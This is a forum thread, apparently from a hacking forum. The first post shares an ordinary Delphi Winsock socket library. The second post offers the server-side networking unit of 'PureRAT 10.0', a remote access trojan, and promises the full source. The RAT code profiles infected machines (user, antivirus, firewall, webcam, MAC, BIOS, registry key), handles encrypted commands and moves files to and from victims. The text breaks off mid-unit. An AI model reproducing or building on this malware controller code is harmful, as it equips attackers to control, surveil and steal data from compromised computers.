1. To visit protected / private sections of the forum you must be connected with your user account. If you are not yet a member of our forum, you can create it now for free!.

User Tag List

Thread: SocketUnitEx.pas v1.4 (Update)

Results 1 to 2 of 2

  1. #1
    Member
    Join Date May 2016
    Posts 54
    Like (Stats)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Quoted
    6 Post(s)

    SocketUnitEx.pas v1.4 (Update)

    Last update, enjoy!

    Code:
    {
      ---------------------------------------------------
    
      SocketUnitEx.pas v1.4
    	Original unit by Aphex -> unremote@knology.net
    	Modified by wrh1d3 -> wrh1d3@gmail.com
    
      ---------------------------------------------------
    
      As all open source software, you can redistribute,
      modify code, ... But don't forget to give credits :)
    
      ---------------------------------------------------
    
      Modified by wrh1d3 Monday 9th Sept. 2016 8:17:44 PM
    
      ---------------------------------------------------
                                                   [*] Changed ClientSocket.RecvText function
      [+] Added ClientSocket.SendStream and
          ClientSocket.RecvStream functions
      [+] Added TServerSocket class (application is more
          stable now)
      [-] Removed Disconnect action when failed to send
          or receive datas[*] Changed TClientSocketThread manage client method
    
      ---------------------------------------------------
    }
    
    unit SocketUnitEx; 
    
    interface
    
    uses
      Windows, Winsock, Classes, SysUtils;
    
    type
      TClientSocket = class
      private
    	FSocket: TSocket;  
        FData: Pointer;
        FConnected: Boolean;
      public
        constructor Create;
        procedure Connect(Host: string; Port: Word);
        destructor Destroy; override;  
        procedure SetConnection;
        procedure Disconnect;
        procedure SetIdle(Seconds: integer);
        function LocalAddress: string;
    	function RemoteAddress: string;
    	function LocalPort: Word;
        function RemotePort: Word;
        function SendBuffer(var Buffer; BufferSize: Integer): Integer;
        function RecvBuffer(var Buffer; BufferSize: Integer): Integer;
        function SendText(Text: string): Integer;
        function RecvText: string;
        function SendStream(Stream: TMemoryStream): Integer;
        function RecvStream(StreamSize: Int64): TMemoryStream;
        property Socket: TSocket read FSocket write FSocket;
        property Data: Pointer read FData write FData;
        property Connected: Boolean read FConnected;
      end;
    	
      TClientSocketThread = class(TThread)
      private
        FReceivedText: string;              
    	FClientSocket: TClientSocket;
        procedure ProcessDatas;
        procedure FreeClientSocket;
      protected
        procedure Execute; override;
      public
        constructor Create(CreateSuspended: Boolean = True); 
        property ClientSocket: TClientSocket write FClientSocket;
      end;
                        
      TServerSocket = class
      private               
        FSocket: TSocket;
      public
        constructor Create; 
        destructor Destroy; override;
        function Listen(Port: Word): Boolean;
        function AcceptConnection: TClientSocket;
        procedure StopListening;
      end;
    
      TServerSocketThread = class(TThread)
      private
        FSocket: TSocket;
        FPort: Word;
        FListening: Boolean;  
    	FClientSocket: TClientSocket;
        FServerSocket: TServerSocket;
        FClientSocketThread: TClientSocketThread;
        procedure StartServer;
      protected
        procedure Execute; override;
      public
        constructor Create(CreateSuspended: Boolean = True);
        procedure StopServer;
        property Port: Word read FPort write FPort;
        property Listening: Boolean read FListening;
      end;
    	
    implementation
    
    //Set winsock version here
    const
      WSCKVER = $0101;
    
    var
    	WSAData: TWSAData;
    
    {Region TClientSocket}
    //--Begin
    constructor TClientSocket.Create;
    begin    
      inherited Create;
      FSocket := INVALID_SOCKET;
      FConnected := False;
    end;
    
    destructor TClientSocket.Destroy;
    begin
      Disconnect;
      inherited Destroy;
    end;
    
    //Set connection status without connecting to a server 
    procedure TClientSocket.SetConnection;
    begin
      if FSocket <> INVALID_SOCKET then FConnected := True else
      FConnected := False;
    end;
    
    //Set connection status by connecting to server
    procedure TClientSocket.Connect(Host: string; Port: Word);
    var
      SockAddrIn: TSockAddrIn;
      HostEnt: PHostEnt;
    begin
      FSocket := WinSock.socket(AF_INET, SOCK_STREAM, 0); 
      if FSocket = INVALID_SOCKET then Exit; 
    
      SockAddrIn.sin_family := AF_INET;
      SockAddrIn.sin_port := htons(Port);
      SockAddrIn.sin_addr.S_addr := inet_addr(PChar(Host));
    
      //Resolving ip address
    	if SockAddrIn.sin_addr.s_addr = INADDR_NONE then
      begin
        HostEnt := gethostbyname(PChar(Host));
        if HostEnt = nil then Exit;
        SockAddrIn.sin_addr.s_addr := Longint(PLongint(HostEnt^.h_addr_list^)^);
      end;
    	                                   
      if WinSock.connect(FSocket, SockAddrIn, SizeOf(SockAddrIn)) = 0 then FConnected := True;
      //Set FConnected True only if connected
    end;
    
    //Clearing initialized variable and close connection
    procedure TClientSocket.Disconnect;
    begin
      shutdown(FSocket, SD_BOTH);
      closesocket(FSocket);
      FSocket := INVALID_SOCKET;
      FConnected := False;
    end;
    
    procedure TClientSocket.SetIdle(Seconds: integer);
    var
      FDset:   TFDset;
      TimeVal: TTimeVal;
    begin
      if Seconds = 0 then
      begin
        FD_ZERO(FDSet);
        FD_SET(FSocket, FDSet);
        select(0, @FDset, nil, nil, nil);
      end
      else
      begin
        TimeVal.tv_sec  := Seconds;
        TimeVal.tv_usec := 0;
        FD_ZERO(FDSet);
        FD_SET(FSocket, FDSet);
        select(0, @FDset, nil, nil, @TimeVal);
      end;
    end;
    
    function TClientSocket.LocalAddress: string;
    var
      SockAddrIn: TSockAddrIn;
      Size: integer;
    begin
      Size := sizeof(SockAddrIn);
      getsockname(FSocket, SockAddrIn, Size);
      Result := inet_ntoa(SockAddrIn.sin_addr);
    end;
    
    function TClientSocket.RemoteAddress: string;
    var
      SockAddrIn: TSockAddrIn;
      Size: Integer;
    begin
      Size := sizeof(SockAddrIn);
      getpeername(FSocket, SockAddrIn, Size);
      Result := inet_ntoa(SockAddrIn.sin_addr);
    end;
    
    function TClientSocket.LocalPort: Word;
    var
      SockAddrIn: TSockAddrIn;
      Size: Integer;
    begin
      Size := sizeof(SockAddrIn);
      getsockname(FSocket, SockAddrIn, Size);
      Result := ntohs(SockAddrIn.sin_port);
    end;
    
    function TClientSocket.RemotePort: Word;
    var
      SockAddrIn: TSockAddrIn;
      Size: Integer;
    begin
      Size := sizeof(SockAddrIn);
      getpeername(FSocket, SockAddrIn, Size);
      Result := ntohs(SockAddrIn.sin_port);
    end;
    
    function TClientSocket.SendBuffer(var Buffer; BufferSize: Integer): Integer;
    begin
      Result := send(FSocket, Buffer, BufferSize, 0);
    end;
    
    function TClientSocket.RecvBuffer(var Buffer; BufferSize: Integer): Integer;
    begin
      Result := recv(FSocket, Buffer, BufferSize, 0);
    end;
    
    function TClientSocket.SendText(Text: string): Integer;
    begin
      Result := SendBuffer(Pointer(Text)^, Length(Text));
    end;
    
    function TClientSocket.RecvText: string;
    var
      Buffer: array[0..4095] of Char;
      bRecv: Integer;
    begin
      bRecv := 0;
      Result := '';
      if not FConnected then Exit;
      ZeroMemory(@Buffer, SizeOf(Buffer));
      bRecv := RecvBuffer(Buffer, SizeOf(Buffer));
      if bRecv <= 0 then Exit;
      Result := string(Buffer);
    end;
    
    function TClientSocket.SendStream(Stream: TMemoryStream): Integer;
    var
      Buffer: array[0..4095] of Byte;
      bRead: Integer;
    begin
      Result := -1;
      if FConnected = False then Exit;
    
      bRead := 0;
      repeat
        ZeroMemory(@Buffer, SizeOf(Buffer));
        bRead := Stream.Read(Buffer, SizeOf(Buffer));
        if bRead <= 0 then Break;
        Result := SendBuffer(Buffer, bRead);
        if Result <= 0 then Break;
      until bRead = 0;
    
      Stream.Free;
    end;
    
    function TClientSocket.RecvStream(StreamSize: Int64): TMemoryStream;
    var
      Buffer: array[0..4095] of Byte;
      bRecv, iRecv: Integer;
    begin
      Result := nil;
      if not FConnected then Exit;
    
      bRecv := 0;
      iRecv := 0;
      Result := TMemoryStream.Create;
    
      repeat
        ZeroMemory(@Buffer, SizeOf(Buffer));
        bRecv := RecvBuffer(Buffer, SizeOf(Buffer));
        if bRecv <= 0 then Break;
        Result.Write(Buffer, bRecv);
        iRecv := Result.Size;
      until iRecv >= StreamSize;
    end;
    //--End;
    
    {Region TClientSocketThread}
    //--Begin
    constructor TClientSocketThread.Create(CreateSuspended: Boolean);
    begin 
      inherited Create(CreateSuspended);
      FClientSocket := nil;
      FReceivedText := '';              
      FreeOnTerminate := True;
    end;
    
    procedure TClientSocketThread.ProcessDatas;
    begin
      repeat
        FReceivedText := FClientSocket.RecvText;
    	//Now do what you want with FReceivedText !
      until False;
    end;
    
    procedure TClientSocketThread.FreeClientSocket;
    begin
      FClientSocket.Disconnect;
      FClientSocket.Free;
      FClientSocket := nil;
    end;
    
    procedure TClientSocketThread.Execute;
    begin
      ProcessDatas;
      FreeClientSocket;
    end;
    //--End;
                    
    {Region TServerSocket}
    //--Begin
    constructor TServerSocket.Create;
    begin
      inherited Create;
      FSocket := INVALID_SOCKET;
    end;
                             
    destructor TServerSocket.Destroy;
    begin
      StopListening;
      inherited Destroy;
    end;
    
    function TServerSocket.AcceptConnection: TClientSocket;
    var
      SockAddr: TSockAddr;
      SockAddr_Len: Integer;
    begin
      SockAddr_Len := SizeOf(SockAddr);
      Result := TClientSocket.Create;
      Result.Socket := accept(FSocket, @SockAddr, @SockAddr_Len);
      Result.SetConnection;
    end;
    
    function TServerSocket.Listen(Port: Word): Boolean;
    var
      SockAddrIn: TSockAddrIn;
    begin
      Result := False;
      FSocket := socket(AF_INET, SOCK_STREAM, 0);
      SockAddrIn.sin_family := AF_INET;
      SockAddrIn.sin_addr.s_addr := INADDR_ANY;
      SockAddrIn.sin_port := htons(Port);
      if bind(FSocket, SockAddrIn, SizeOf(SockAddrIn)) <> 0 then Exit;
      if Winsock.listen(FSocket, SOMAXCONN) <> 0 then Exit;
      Result := True;
    end;
    
    procedure TServerSocket.StopListening;
    begin
      shutdown(FSocket, SD_BOTH);
      closesocket(FSocket);
      FSocket := INVALID_SOCKET;  
    end;
    //--End;
    
    {Region TServerSocketThread}
    //-Begin
    constructor TServerSocketThread.Create(CreateSuspended: Boolean);
    begin
      inherited Create(CreateSuspended);
      FSocket := INVALID_SOCKET;
      FListening := False;
      FServerSocket := nil;
      FClientSocket := nil;
      FClientSocketThread := nil;
      FPort := 0;  
      FreeOnTerminate := True;  
    end;
    
    procedure TServerSocketThread.Execute;
    begin
      StartServer;
      StopServer;
    end;
    
    procedure TServerSocketThread.StartServer;
    begin
      FServerSocket := TServerSocket.Create;
      FListening := FServerSocket.Listen(FPort);
      if not FListening then Exit;
    
      repeat
        FClientSocket := TClientSocket.Create;
        FClientSocket := FServerSocket.AcceptConnection;
        if not FClientSocket.Connected then
        begin
          FClientSocket.Disconnect;
          FClientSocket.Free;
          FClientSocket := nil;
          Exit;
        end;
    
        FClientSocketThread := TClientSocketThread.Create();
        FClientSocketThread.FClientSocket := FClientSocket;
        FClientSocketThread.Resume;
      until False;
    end;
    
    procedure TServerSocketThread.StopServer;
    begin
      FServerSocket.StopListening;
      FServerSocket.Free;
      FServerSocket := nil;
      FListening := False;
    end;
    //--End;
    
    //Don't remove following lines!
    initialization
      WSAStartup(WSCKVER, WSAData);  
    
    finalization
      WSACleanup();
    
    end.
    The only aim of a coder is to make simple, beautiful and working algorithm.
  2. Likes root, Torturer, Ruffy liked this post
  3. #2
    Member
    Join Date May 2016
    Posts 54
    Like (Stats)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Quoted
    6 Post(s)

    How to use SocketUnitEx (example with servar part of PureRAT 10.0)

    Since i'll post PureRAT 10.0 source code, take a look to the server part. This unit shows you how to use SocketUnitEx to
    make a working server. - proud to said that... -

    Code:
    {
      ---------------------------------------------------
    
      SocketUnitEx.pas v1.4 [moded by wrh1d3]
    	Original unit by Aphex -> unremote@knology.net
    	Modified by wrh1d3 -> wrh1d3@gmail.com
    
      ---------------------------------------------------
    }
    
    unit SocketUnitEx; 
    
    interface
    
    uses
      Windows, Winsock, Classes, Forms, ComCtrls, SysUtils, UnitEncryption, ZLibEx,
      UnitVariables, UnitFunctions, UnitTransfersManager, UnitCommands, UnitRepository;
    
    type
      TClientSocket = class
      private
    		FSocket: TSocket;
        FData: Pointer;
        FConnected: Boolean;
      public
        constructor Create;
        procedure Connect(Host: string; Port: Word);
        procedure SetConnection;          
        procedure Disconnect;
        function LocalAddress: string;
    		function RemoteAddress: string;
    		function LocalPort: Word;
        function RemotePort: Word;
        function SendBuffer(var Buffer; BufferSize: Integer): Integer;
        function RecvBuffer(var Buffer; BufferSize: Integer): Integer;
        function SendText(Text: string): Integer;
        function RecvDatas: string;
        function RecvStream(StreamSize: Int64; pb: TProgressBar = nil;
          UnPack: Boolean = True): TMemoryStream;
        property Socket: TSocket read FSocket write FSocket;
        property Data: Pointer read FData write FData;
        property Connected: Boolean read FConnected;
      end;
    
      TClientInfos = record
        LanIp, LocalPort, CountryCode, ClientId, PID, Language,
        User, Computer, Windows, UserType, InstalledDate, RegKey,
        Antivirus, Firewall, WebCam, Plugin, Version, ScreenRes,
        Foldername, Filename, RootDrive, SystemDir, CPU, RAM, Idle,
        Uptime, Browser, MAC, BIOS, Config: string;
      end;
    
    	TClientDatas = class
        ClientSocket: TClientSocket;
        UserId, Id, WanIp: string;
        Countryname: string;
        Items: TListItem;
        Ping, ImageIndex: Integer;
        Infos: TClientInfos;
        Forms: array[0..15] of TForm;
        procedure InitInfos(_Infos: TStringArray);
        function SendDatas(Datas: string): Integer;
      end;
    
      PClientManager = ^TClientManager;
      TClientManager = record
        ClientSocket: TClientSocket;
        Datas: string;
      end;
    
      TClientSocketThread = class(TThread)
      private
        FRecvDatas: string;
    		FClientSocket: TClientSocket;
        FClientManager: TClientManager;
        FTransferManager: TTransferManager;  
        FClientDatas: TClientDatas;
        FTransferId: string;
        procedure ProcessDatas;
        procedure RecvFile;
        procedure SendFile;                          
        procedure UpdateTransfer;
        function TimeLeft: string;
        procedure GetClientDatas;
        procedure InitTransfer;
      protected
        procedure Execute; override;
      public
        constructor Create(CreateSuspended: Boolean = True); 
        property ClientSocket: TClientSocket write FClientSocket;
      end;
      
      TServerSocket = class
      private               
        FSocket: TSocket;
      public
        constructor Create;
        function Listen(Port: Word): Boolean;
        function AcceptConnection: TClientSocket;
        procedure StopListening;
      end;
    
      TServerSocketThread = class(TThread)
      private               
        FSocket: TSocket;
        FPort: Word;
        FListening: Boolean;
        FServerSocket: TServerSocket;
        FClientSocket: TClientSocket;
        FClientSocketThread: TClientSocketThread;
        procedure StartServer;
      protected
        procedure Execute; override;
      public
        constructor Create(CreateSuspended: Boolean = True);     
        procedure TestPort;
        procedure StopServer;
        property Port: Word read FPort write FPort;
        property Listening: Boolean read FListening;
      end;
    
    implementation
    
    uses
      UnitMain, UnitFilesManager;
    
    var
    	WSAData: TWSAData;
    
    {Region TClientSocket}
    //--Begin
    constructor TClientSocket.Create;
    begin    
    	inherited;
      FSocket := INVALID_SOCKET;
      FConnected := False;
    end;
    
    //Set connection status without connecting to a server 
    procedure TClientSocket.SetConnection;
    begin
      if FSocket <> INVALID_SOCKET then FConnected := True else
      FConnected := False;
    end;
    
    //Set connection status by connecting to server
    procedure TClientSocket.Connect(Host: string; Port: Word);
    var
      SockAddrIn: TSockAddrIn;
      HostEnt: PHostEnt;
    begin
      FSocket := WinSock.socket(AF_INET, SOCK_STREAM, 0); 
      if FSocket = INVALID_SOCKET then Exit; 
    
      SockAddrIn.sin_family := AF_INET;
    	SockAddrIn.sin_port := htons(Port);
      SockAddrIn.sin_addr.S_addr := inet_addr(PChar(Host));
    
      //Resolving ip address
    	if SockAddrIn.sin_addr.s_addr = INADDR_NONE then
      begin
        HostEnt := gethostbyname(PChar(Host));
        if HostEnt = nil then Exit;
        SockAddrIn.sin_addr.s_addr := Longint(PLongint(HostEnt^.h_addr_list^)^);
      end;
    	                                   
      if WinSock.connect(FSocket, SockAddrIn, SizeOf(SockAddrIn)) = 0 then FConnected := True;
      //Set FConnected True only if connected
    end;
    
    //Clearing initialized variable and close connection
    procedure TClientSocket.Disconnect;
    begin
      shutdown(FSocket, SD_BOTH);
      closesocket(FSocket);
    	FSocket := INVALID_SOCKET;
      FConnected := False;
    end;
    
    function TClientSocket.LocalAddress: string;
    var
      SockAddrIn: TSockAddrIn;
      Size: integer;
    begin
      Size := sizeof(SockAddrIn);
      getsockname(FSocket, SockAddrIn, Size);
      Result := inet_ntoa(SockAddrIn.sin_addr);
    end;
    
    function TClientSocket.RemoteAddress: string;
    var
      SockAddrIn: TSockAddrIn;
      Size: Integer;
    begin
      Size := sizeof(SockAddrIn);
      getpeername(FSocket, SockAddrIn, Size);
      Result := inet_ntoa(SockAddrIn.sin_addr);
    end;
    
    function TClientSocket.LocalPort: Word;
    var
      SockAddrIn: TSockAddrIn;
      Size: Integer;
    begin
      Size := sizeof(SockAddrIn);
      getsockname(FSocket, SockAddrIn, Size);
      Result := ntohs(SockAddrIn.sin_port);
    end;
    
    function TClientSocket.RemotePort: Word;
    var
      SockAddrIn: TSockAddrIn;
      Size: Integer;
    begin
      Size := sizeof(SockAddrIn);
      getpeername(FSocket, SockAddrIn, Size);
      Result := ntohs(SockAddrIn.sin_port);
    end;
    
    function TClientSocket.SendBuffer(var Buffer; BufferSize: Integer): Integer;
    begin
      Result := send(FSocket, Buffer, BufferSize, 0);
    end;
    
    function TClientSocket.RecvBuffer(var Buffer; BufferSize: Integer): Integer;
    begin
      Result := recv(FSocket, Buffer, BufferSize, 0);
    end;
    
    function TClientSocket.SendText(Text: string): Integer;
    begin
      Result := SendBuffer(Pointer(Text)^, Length(Text));       
    end;
    
    function TClientSocket.RecvDatas: string;
    var
      Buffer: array[0..8191] of Byte;
      bRecv: Integer;
    begin
      bRecv := 0;
      Result := '';
      if not FConnected then Exit;
      ZeroMemory(@Buffer, SizeOf(Buffer));
      bRecv := RecvBuffer(Buffer, SizeOf(Buffer));      
      if bRecv <= 0 then Exit;
      SetLength(Result, bRecv);
      MoveMemory(@Result[1], @Buffer, bRecv);
      Result := DecryptDatas(Result, ConnectionPassword);
    end;
    
    function TClientSocket.RecvStream(StreamSize: Int64; pb: TProgressBar = nil;
      UnPack: Boolean = True): TMemoryStream;
    var
      Buffer: array[0..8191] of Byte;
      bRecv, iRecv: Integer;
      Stream: TMemoryStream;
    begin            
      Result := nil;
      if not FConnected then Exit;
    
      if pb <> nil then
      begin
        pb.Position := 0;
        pb.Max := StreamSize;
      end;
    
      bRecv := 0;
      iRecv := 0;
      Stream := TMemoryStream.Create;
      
      repeat
        ZeroMemory(@Buffer, SizeOf(Buffer));
        bRecv := RecvBuffer(Buffer, SizeOf(Buffer));
        if bRecv <= 0 then Break;
        Stream.Write(Buffer, bRecv);
        iRecv := Stream.Size;
        if pb <> nil then pb.Position := pb.Position + iRecv;
      until iRecv >= StreamSize;
    
      if iRecv < StreamSize then
      begin
        Stream.Free;
        Exit;
      end;
    
      Stream.Position := 0;
      Result := TMemoryStream.Create;
      if UnPack then ZDecompressStream(Stream, Result) else Result.LoadFromStream(Stream);
      Result.Position := 0;
      Stream.Free;
    end;
    //--End;
    
    {Region TClientDatas}
    //--Begin
    procedure TClientDatas.InitInfos(_Infos: TStringArray);
    begin
      Infos.CountryCode := _Infos[0];
      Infos.ClientId := _Infos[1];
      Infos.User := _Infos[2];
      Infos.Computer := _Infos[3];
      Infos.Windows := _Infos[4];
      Infos.Antivirus := _Infos[5];
      Infos.UserType := _Infos[6];
      Infos.WebCam := _Infos[7];
      Infos.Plugin := _Infos[8];
      Infos.LanIp := _Infos[9];
      Infos.LocalPort := _Infos[10];
      Infos.InstalledDate := _Infos[11];
      Infos.Version := _Infos[12];
      Infos.ScreenRes := _Infos[13];
      Infos.PID := _Infos[14];
      Infos.Foldername := _Infos[15];
      Infos.Filename := _Infos[16];
      Infos.RegKey := _Infos[17];
      Infos.Language := _Infos[18];
      Infos.RootDrive := _Infos[19];
      Infos.SystemDir := _Infos[20];
      Infos.Firewall := _Infos[21];
      Infos.CPU := _Infos[22];
      Infos.RAM := _Infos[23];
      Infos.Idle := _Infos[24];
      Infos.Uptime := _Infos[25];
      Infos.MAC := _Infos[26];
      Infos.Browser := _Infos[27];
      Infos.BIOS := _Infos[28];
      Infos.Config := _Infos[29];
    end;
    
    function TClientDatas.SendDatas(Datas: string): Integer;
    begin
      Result := -1;
      if (ClientSocket.Connected = False) or (Datas = '') then Exit;
      Datas := EncryptDatas(Datas, ConnectionPassword);
      Result := ClientSocket.SendText(Datas);
    end;
    //--End;
    
    {Region TClientSocketThread}
    //--Begin
    constructor TClientSocketThread.Create(CreateSuspended: Boolean);
    begin
    	inherited;
      FClientSocket := nil;
      FTransferManager := nil;
      FRecvDatas := '';
      FreeOnTerminate := True;
    end;
                  
    procedure TClientSocketThread.ProcessDatas;
    var
      TmpStr: string;
    begin
      TmpStr := Copy(FRecvDatas, 1, Pos('|', FRecvDatas) - 1);
      if (TmpStr = FILESDOWNLOADFILE) or (TmpStr = FILESUPLOADFILEFROMLOCAL)
      then
      begin
        Synchronize(InitTransfer);
        Exit;
      end;
    
      FClientManager.ClientSocket := FClientSocket;
      FClientManager.Datas := FRecvDatas;
      SendMessage(FormMain.Handle, WM_PROCESS_DATAS, WParam(@FClientManager), 0);
    end;
                                                     
    procedure TClientSocketThread.Execute;
    begin
      repeat
        FRecvDatas := FClientSocket.RecvDatas;
        if FRecvDatas <> '' then ProcessDatas;
      until FClientDatas.ClientSocket.Connected = False;
    
      FClientManager.ClientSocket := FClientSocket;
      SendMessage(FormMain.Handle, WM_REMOVE_CLIENT, WParam(@FClientManager), 0);
    end;
    
    procedure TClientSocketThread.GetClientDatas;
    var
      i: Integer;
    begin
      for i := 0 to ClientsList.Count - 1 do
      begin
        if TClientDatas(ClientsList[i]).Id = FTransferId then
        begin
          FClientDatas := TClientDatas(ClientsList[i]);
          Break;
        end;
      end;
    end;
    
    procedure TClientSocketThread.UpdateTransfer;
    begin
      FTransferManager.pb1.Position := FTransferManager.FilePosition;
      FTransferManager.Item.SubItems[1] := FileSizeToStr(FTransferManager.FilePosition) + '/' +
        FileSizeToStr(FTransferManager.Filesize);
      FTransferManager.Item.SubItems[2] := TimeLeft;
      FTransferManager.Item.SubItems[3] := FileSizeToStr(Round(FTransferManager.Speed)) + '/s';
      if FTransferManager.Item.SubItems[4] <> FTransferManager.TransferState then
      FTransferManager.Item.SubItems[4] := FTransferManager.TransferState;
      Application.ProcessMessages;
    end;
    
    //From SS-RAT
    function TClientSocketThread.TimeLeft: string;
    var
      dDay, dHour, dMin,
      dSec, dTmp, dTmp2 :Integer;
    begin
      Result := '-';
    
      if (FTransferManager.Speed = 0) or (FTransferManager.FilePosition = 0) then Exit;
      dDay := 0; dHour := 0; dMin := 0;
      dTmp2 := 0; dTmp := 0;
    
      while dTmp2 <= (FTransferManager.Filesize - FTransferManager.FilePosition) do
      begin
        Inc(dTmp2, Round(FTransferManager.Speed));
        Inc(dTmp, 1);
      end;
    
      dSec := dTmp;
      
      if dSec > 60 then
      repeat
        Dec(dSec, 60);
        Inc(dMin, 1);
      until dSec < 60;
    
      if dMin > 60 then
      repeat
        Dec(dMin, 60);
        Inc(dHour, 1);
      until dMin < 60;
    
      if dHour > 24 then
      repeat
        Dec(dHour, 24);
        Inc(dDay, 1);
      until dHour < 24;
    
      Result := IntToStr(dDay) + 'd '+ IntToStr(dHour) + 'h '+ IntToStr(dMin) + 'm '+ IntToStr(dSec) + 's';
    end;
    
    procedure TClientSocketThread.RecvFile;
    var
      Buffer: array[0..32767] of Byte;
      bRecv: Integer;
      F: file;
      Stream: TMemoryStream;
      TickBefore, TickNow,
      TickCount: Cardinal;
      TmpStr, TmpStr1: string;
    begin
      TmpStr1 := FTransferManager.LocalFilename;
      FTransferManager.LocalFilename := TmpStr1 + '.prt';
      FTransferManager.TransferState := 'Downloading...';
      FTransferManager.Item.ImageIndex := 266;
      TickBefore := GetTickCount;
    
      if FileExists(FTransferManager.LocalFilename) then
      begin
        AssignFile(F, FTransferManager.LocalFilename);
        Reset(F, 1);
        if FTransferManager.FilePosition > 0 then Seek(F, FTransferManager.FilePosition);
      end
      else
      begin
        AssignFile(F, FTransferManager.LocalFilename);
        Rewrite(F, 1);
      end;
    
      bRecv := 0;
      Stream := TMemoryStream.Create;
    
      repeat
        ZeroMemory(@Buffer, SizeOf(Buffer));
        bRecv := FClientSocket.RecvBuffer(Buffer, SizeOf(Buffer));
        if bRecv <= 0 then Break;
        Stream.Write(Buffer, bRecv);
        FTransferManager.FilePosition := Stream.Size;
        TickNow := GetTickCount;
        TickCount := TickNow - TickBefore;
        if TickCount >= 1000 then
        FTransferManager.Speed := (FTransferManager.FilePosition div (TickCount)) * 1024;
        Synchronize(UpdateTransfer);
      until FTransferManager.FilePosition >= FTransferManager.Filesize;
    
      Stream.Position := 0;
      SetLength(TmpStr, Stream.Size);
      Stream.Read(Pointer(TmpStr)^, Length(TmpStr));
      BlockWrite(F, TmpStr[1], Stream.Size);
      Stream.Free;
      CloseFile(F);
    
      if FTransferManager.FilePosition < FTransferManager.Filesize then
      begin
        FTransferManager.TransferState := 'Download failed';
        FTransferManager.Item.ImageIndex := 269;
      end
      else
      begin
        RenameFile(FTransferManager.LocalFilename, TmpStr1);
        FTransferManager.TransferState := 'Downloaded';
        FTransferManager.Item.ImageIndex := 268;
    
        TmpStr := 'File downloaded|' + TmpStr1;
        SendMessage(FormMain.Handle, WM_TRANSFER_NOTIFICATION, Integer(TmpStr), 0);
      end;
                                                            
      Synchronize(UpdateTransfer);
    end;
           
    procedure TClientSocketThread.SendFile;
    var
      Buffer: array[0..32767] of Byte;
      bRead, bSent: Integer;
      F: file;
      TickBefore, TickNow,
      TickCount: Cardinal;
      TmpStr: string;
    begin
      FTransferManager.TransferState := 'Uploading...';
      FTransferManager.Item.ImageIndex := 267;
      TickBefore := GetTickCount;
    
      try
        FileMode := $0000;
        AssignFile(F, FTransferManager.LocalFilename);
        Reset(F, 1);
        if FTransferManager.FilePosition > 0 then Seek(F, FTransferManager.FilePosition);
        bRead := 0;
        bSent := 0;
    
        repeat
          ZeroMemory(@Buffer, SizeOf(Buffer));
          BlockRead(F, Buffer, SizeOf(Buffer), bRead);
          if bRead <= 0 then Break;
          bSent := FClientSocket.SendBuffer(Buffer, bRead);
          if bSent <= 0 then Break;
          FTransferManager.FilePosition := FTransferManager.FilePosition + bSent;
          TickNow := GetTickCount;
          TickCount := TickNow - TickBefore;
          if TickCount >= 1000 then
          FTransferManager.Speed := (FTransferManager.FilePosition div (TickCount)) * 1024;
          Synchronize(UpdateTransfer);
        until bRead = 0;
      finally
        CloseFile(F);
        
        if FTransferManager.FilePosition < FTransferManager.Filesize then
        begin
          FTransferManager.TransferState := 'Upload failed';
          FTransferManager.Item.ImageIndex := 269;
        end
        else
        begin
          FTransferManager.TransferState := 'Uploaded';
          FTransferManager.Item.ImageIndex := 268;
    
          TmpStr := 'File uploaded|' + FTransferManager.LocalFilename;
          SendMessage(FormMain.Handle, WM_TRANSFER_NOTIFICATION, Integer(TmpStr), 0);
        end;
                                                              
        Synchronize(UpdateTransfer);
      end;
    end;
    
    procedure TClientSocketThread.InitTransfer;
    var
      MainCommand, Datas: string;
      TmpStr, TmpStr1: string;     
      TmpInt, TmpInt1: Int64;
      i: Integer;
    begin
      Datas := FRecvDatas;
      MainCommand := Copy(Datas, 1, Pos('|', Datas) - 1);
      Delete(Datas, 1, Pos('|', Datas));
    
      if MainCommand = FILESDOWNLOADFILE then
      begin
        FTransferId := Copy(Datas, 1, Pos('|', Datas) - 1);
        Delete(Datas, 1, Pos('|', Datas));
        TmpStr := Copy(Datas, 1, Pos('|', Datas) - 1);
        Delete(Datas, 1, Pos('|', Datas));
        TmpInt := StrToInt(Copy(Datas, 1, Pos('|', Datas) - 1));
        Delete(Datas, 1, Pos('|', Datas));
        TmpInt1 := StrToInt(Datas);
    
        Synchronize(GetClientDatas);
        if FClientDatas = nil then Exit;
        if FClientDatas.Forms[2] = nil then Exit;
    
        TmpStr1 := GetDownloadsFolder(FClientDatas.UserId) + '\' + ExtractFileName(TmpStr);
    
        for i := 0 to TFormFilesManager(FClientDatas.Forms[2]).lvTransfers.Items.Count -1 do
        begin
          FTransferManager := TTransferManager(TFormFilesManager(FClientDatas.Forms[2]).lvTransfers.Items.Item[i].Data);
          if FTransferManager.InitResume(FClientSocket.Socket, TmpStr) then
          begin
            FTransferManager.FilePosition := TmpInt1;
            FTransferManager.FileSize := TmpInt - FTransferManager.FilePosition;
            Synchronize(RecvFile);
            Exit;
          end;
        end;
    
        FTransferManager := TTransferManager.Create(FClientSocket.Socket, TmpStr, TmpStr1,
          TmpInt, ttDownload, TFormFilesManager(FClientDatas.Forms[2]).lvTransfers);
        Synchronize(RecvFile);
      end
      else
    
      if MainCommand = FILESUPLOADFILEFROMLOCAL then
      begin                                                                                  
        FTransferId := Copy(Datas, 1, Pos('|', Datas) - 1);
        Delete(Datas, 1, Pos('|', Datas));
        TmpStr := Copy(Datas, 1, Pos('|', Datas) - 1);
        Delete(Datas, 1, Pos('|', Datas));
        TmpStr1 := Copy(Datas, 1, Pos('|', Datas) - 1);
        Delete(Datas, 1, Pos('|', Datas));
        TmpInt := StrToInt(Datas);
    
        Synchronize(GetClientDatas);
        if FClientDatas = nil then Exit;
        if FClientDatas.Forms[2] = nil then Exit;
    
        TmpInt1 := MyGetFileSize(TmpStr);
        for i := 0 to TFormFilesManager(FClientDatas.Forms[2]).lvTransfers.Items.Count -1 do
        begin
          FTransferManager := TTransferManager(TFormFilesManager(FClientDatas.Forms[2]).lvTransfers.Items.Item[i].Data);
          if FTransferManager.InitResume(FClientSocket.Socket, TmpStr) then
          begin
            FTransferManager.FilePosition := TmpInt;
            FTransferManager.FileSize := TmpInt1 - FTransferManager.FilePosition;
            Synchronize(SendFile);
            Exit;
          end;
        end;
    
        FTransferManager := TTransferManager.Create(FClientSocket.Socket, TmpStr1, TmpStr,
          TmpInt1, ttUpload, TFormFilesManager(FClientDatas.Forms[2]).lvTransfers);
        Synchronize(SendFile);
      end;
    end;
    //--End;
    
    {Region TServerSocket}
    //--Begin
